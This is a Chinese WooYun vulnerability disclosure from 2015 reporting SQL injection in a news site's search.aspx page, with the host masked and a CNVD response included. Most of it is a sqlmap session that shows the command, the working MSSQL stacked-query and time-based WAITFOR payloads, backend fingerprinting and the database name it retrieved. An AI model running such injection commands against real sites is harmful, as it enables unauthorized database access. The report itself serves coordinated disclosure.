漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0134279
漏洞标题：某新闻网主站sql注入漏洞一枚
相关厂商：cncert国家互联网应急中心
漏洞作者： 小沫
提交时间：2015-08-18 21:45
修复时间：2015-10-03 11:22
公开时间：2015-10-03 11:22
漏洞类型：SQL注射漏洞
危害等级：低
自评Rank：3
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-19： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-08-29： 细节向核心白帽子及相关领域专家公开
2015-09-08： 细节向普通白帽子公开
2015-09-18： 细节向实习白帽子公开
2015-10-03： 细节向公众公开
简要描述：
新闻网主站sql注入漏洞一枚
详细说明：
注入点：http://**.**.**.**/search.aspx?chid=13&fieldname=title&keyword=%5Bobject%20HTMLInputElement%5D
C:\Python27\sqlmap>sqlmap.py -u"http://**.**.**.**/search.aspx?chid=13&fieldname=title&keyword=%5Bobject%20HTMLInputElement%5D" --dbs
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://**.**.**.**
[*] starting at: 10:56:27
[10:56:27] [INFO] using 'C:\Python27\sqlmap\output\**.**.**.**\session' as session file
[10:56:27] [INFO] testing connection to the target url
[10:56:29] [INFO] testing if the url is stable, wait a few seconds
[10:56:32] [INFO] url is stable
[10:56:32] [INFO] testing if GET parameter 'chid' is dynamic
sqlmap got a 302 redirect to /user/msg.aspx - What target address do you want to use from now on? http://**.**.**.**:80/search.aspx (default) or provide a
>
[10:56:38] [INFO] confirming that GET parameter 'chid' is dynamic
[10:56:38] [INFO] GET parameter 'chid' is dynamic
[10:56:40] [WARNING] heuristic test shows that GET parameter 'chid' might not be injectable
[10:56:40] [INFO] testing sql injection on GET parameter 'chid'
[10:56:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:57:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:57:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:57:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:57:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:57:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:57:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:57:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:57:38] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:57:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:57:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:57:52] [INFO] testing 'Oracle AND time-based blind'
[10:57:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:58:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:58:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[10:58:10] [WARNING] GET parameter 'chid' is not injectable
[10:58:10] [INFO] testing if GET parameter 'fieldname' is dynamic
[10:58:10] [INFO] confirming that GET parameter 'fieldname' is dynamic
[10:58:10] [INFO] GET parameter 'fieldname' is dynamic
[10:58:10] [WARNING] heuristic test shows that GET parameter 'fieldname' might not be injectable
[10:58:10] [INFO] testing sql injection on GET parameter 'fieldname'
[10:58:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:58:13] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:58:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:58:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:58:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:58:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:58:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:58:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:58:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:58:21] [INFO] testing 'Oracle AND time-based blind'
[10:58:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:58:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:58:27] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[10:58:32] [WARNING] GET parameter 'fieldname' is not injectable
[10:58:32] [INFO] testing if GET parameter 'keyword' is dynamic
[10:58:33] [INFO] confirming that GET parameter 'keyword' is dynamic
[10:58:35] [INFO] GET parameter 'keyword' is dynamic
[10:58:35] [WARNING] heuristic test shows that GET parameter 'keyword' might not be injectable
[10:58:35] [INFO] testing sql injection on GET parameter 'keyword'
[10:58:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:58:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:59:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:59:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:59:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:59:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:59:42] [INFO] GET parameter 'keyword' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[10:59:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:59:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:59:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[11:00:06] [INFO] GET parameter 'keyword' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[11:00:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[11:00:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:00:07] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
GET parameter 'keyword' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 335 HTTP(s) requests:
---
Place: GET
Parameter: keyword
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: chid=13&fieldname=title&keyword=[object HTMLInputElement]'; WAITFOR DELAY '0:0:5';-- AND 'WeoP'='WeoP
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: chid=13&fieldname=title&keyword=[object HTMLInputElement]' WAITFOR DELAY '0:0:5'-- AND 'Lyhm'='Lyhm
---
[11:01:00] [INFO] testing MySQL
[11:01:01] [WARNING] the back-end DBMS is not MySQL
[11:01:01] [INFO] testing Oracle
[11:01:01] [WARNING] the back-end DBMS is not Oracle
[11:01:01] [INFO] testing PostgreSQL
[11:01:01] [WARNING] the back-end DBMS is not PostgreSQL
[11:01:01] [INFO] testing Microsoft SQL Server
[11:01:14] [INFO] confirming Microsoft SQL Server
[11:01:37] [WARNING] adjusting time delay to 4 seconds
[11:01:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[11:01:47] [INFO] fetching database names
[11:01:47] [INFO] fetching number of databases
[11:01:47] [INFO] retrieved:
[11:01:48] [ERROR] unable to retrieve the number of databases
[11:01:48] [INFO] falling back to current database
[11:01:48] [INFO] fetching current database
[11:01:48] [INFO] retrieved: new_sn
available databases [1]:
[*] new_sn
[11:07:16] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 60 times
[11:07:16] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\output\**.**.**.**'
漏洞证明：
修复方案：
你们能解决的
版权声明：转载请注明来源 小沫@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-08-19 11:20
厂商回复：
CNVD确认并复现所述情况，已由CNVD通过软件生产厂商（或网站管理方）公开联系渠道向其邮件（和电话）通报，由其后续提供解决方案并协调相关用户单位处置。
最新状态：
暂无